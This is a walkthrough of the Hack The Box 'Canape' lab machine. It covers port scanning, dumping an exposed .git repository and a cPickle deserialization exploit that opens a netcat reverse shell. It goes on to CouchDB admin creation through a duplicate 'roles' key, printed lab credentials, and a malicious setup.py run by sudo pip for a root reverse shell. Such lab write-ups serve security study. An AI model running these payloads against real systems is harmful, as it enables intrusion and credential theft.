Summary: Canape is a moderate difficulty machine. This machine requires a basic understanding of Python to be able to find the exploitable point in the application.
Skills Required:
- Intermediate knowledge of Linux
- Basic/Intermediate knowledge of Python
- Exploiting insecure Python Pickling
- Exploiting Sudo NOPASSWD
- Exploiting Apache CouchDB
[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:24 +06
Nmap scan report for 10.10.10.70
Host is up (0.30s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 155.56 seconds
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nmap -A -p 80,65535 -oA nmap/initial 10.10.10.70
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-14 20:31 +06
Nmap scan report for 10.10.10.70
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Simpsons Fan Site
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 305.64 ms 10.10.14.1
2 305.04 ms 10.10.10.70
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.56 seconds
Web Fuzzing:
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hl 0,82 http://10.10.10.70/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.70/FUZZ
Total requests: 4702
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000012: 200 9 L 43 W 1075 Ch ".git/index"
000000011: 200 11 L 29 W 259 Ch ".git/config"
000000010: 200 1 L 2 W 23 Ch ".git/HEAD"
000000013: 200 17 L 70 W 1130 Ch ".git/logs/"
000000008: 301 9 L 28 W 309 Ch ".git"
000001029: 403 11 L 32 W 294 Ch "cgi-bin/"
000001063: 405 4 L 23 W 178 Ch "check"
000003385: 200 85 L 227 W 3150 Ch "quotes"
000003699: 403 11 L 32 W 299 Ch "server-status"
000003940: 301 9 L 28 W 311 Ch "static"
000003984: 200 81 L 167 W 2836 Ch "submit"
Total time: 156.3866
Processed Requests: 4702
Filtered Requests: 4691
Requests/sec.: 30.06650
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #wget --mirror -I .git 10.10.10.70/.git
...
...
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #cd 10.10.10.70/
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #git checkout -- .
ada]─[/home/theshahzada/Desktop/hackthebox/machines/canape/10.10.10.70]
└──╼ #ls
__init__.py robots.txt static templates
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
- The user submitted ‘char’ only has to contain one of the character names from the whitelist. It doesn’t have to be one of the names.
- The user has no control over the name of the file, but can know the name of the file.
- Nothing is written to the file outside the two user-provided strings concatenated.
- There’s a comment reference to /check and pickle.
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
- cPickle.loads will run the object’s __reduce__ method when it is unpickled. So an attacker can create a class with a __reduce__ function that executes their desired commands, pickle an instance of that class, and pass that string to canape.
import os, cPickle, requests
from hashlib import md5
url = "http://10.10.10.70/"
class Exploit(object):
def __reduce__(self):
return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f',))
quote = cPickle.dumps(Exploit())
char = "(S'homer'\n"
p_id = md5(char + quote).hexdigest()
# Uploading data
upload_data = [('character',char), ('quote',quote)]
requests.post(url +"submit", data=upload_data)
# Triggering Pickle
id_data = [('id',p_id)]
(requests.post(url + "check", data=id_data))
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #python2 exploit.py
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 40786
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'
www-data@canape:/$
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
The couchdb is only on localhost:www-data@canape:/$ netstat -ano | grep "LISTEN "
netstat -ano | grep "LISTEN "
tcp 0 0 0.0.0.0:36408 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::65535 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::4369 :::* LISTEN off (0.00/0/0)
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/_all_docs
curl http://127.0.0.1:5984/simpsons/_all_docs
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
www-data@canape:/$ curl http://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
1000dd9tp://127.0.0.1:5984/simpsons/f0042ac3dc4951b51f056467a
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
www-data@canape:/$ curl http://127.0.0.1:5984/passwords
curl http://127.0.0.1:5984/passwords
{"error":"unauthorized","reason":"You are not authorized to access this db."}
www-data@canape:/$ curl http://127.0.0.1:5984/_users
curl http://127.0.0.1:5984/_users
{"db_name":"_users","update_seq":"11-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6JnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW6F7GLADeKW85","sizes":{"file":79122,"external":2678,"active":5042},"purge_seq":0,"other":{"data_size":2678},"doc_del_count":1,"doc_count":3,"disk_size":79122,"disk_format_version":6,"data_size":5042,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://127.0.0.1:5984/_users/_all_docs
curl http://127.0.0.1:5984/_users/_all_docs
{"error":"unauthorized","reason":"You are not a server admin."}
Database Privileges Escalation:www-data@canape:/$ curl -X PUT -d '{"type":"user","name":"theshahzada","roles":["_admin"],"roles":[],"password":"thes"}' 127.0.0.1:5984/_users/org.couchdb.user:theshahzada -H "Content-Type:application/json"
Because we have a “roles” object in there twice, the CouchDB Javascript validation will only see the second one (empty), but then Erlang json parser will keep both, and let us be an admin.
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords
curl http://theshahzada:thes@127.0.0.1:5984/passwords
{"db_name":"passwords","update_seq":"46-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkR2PoiQFIJlkD1bHik-dA0hdPGF1CSB19QTV5bEASYYGIAVUOp8YtQsgavcTo_YARO39rER8AQRR-wCiFuhetiwA7ytvXA","sizes":{"file":222462,"external":665,"active":1740},"purge_seq":0,"other":{"data_size":665},"doc_del_count":0,"doc_count":4,"disk_size":222462,"disk_format_version":6,"data_size":1740,"compact_running":false,"instance_start_time":"0"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_docs
csrl http://theshahzada:thes@127.0.0.1:5984/passwords/_all_do
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
df3f7a001bebb8fc4380019e4hes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
df3f7a001bebb8fc43800368dhes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
df3f7a001bebb8fc438003e5fhes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
www-data@canape:/$ curl http://theshahzada:thes@127.0.0.1:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
df3f7a001bebb8fc438004738hes@127.0.0.1:5984/passwords/739c5eb
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
SSH as homer:┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #ssh -p 65535 homer@10.10.10.70
homer@10.10.10.70's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Dec 14 09:31:52 2021 from 10.10.14.7
homer@canape:~$ cat user.txt
bce918*********288d
Privilege Escalation: homer –> roothomer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
root shell:import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install
class Exploit(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.7",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])
setup(
cmdclass={
"install": Exploit
}
)
homer@canape:~/theshahzada$ sudo pip install .
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /home/homer/theshahzada
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
┌─[root@theshahzada]─[/home/theshahzada/Desktop/hackthebox/machines/canape]
└──╼ #nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.70] 47212
# python -c 'import pty;pty.spawn("bash")'
root@canape:/tmp/pip-GiMdT7-build# id
id
uid=0(root) gid=0(root) groups=0(root)
- I've taken some notes from the official writeup, 0xdf writeup and ippsec's video
- https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
- https://www.exploit-db.com/exploits/44913
- https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/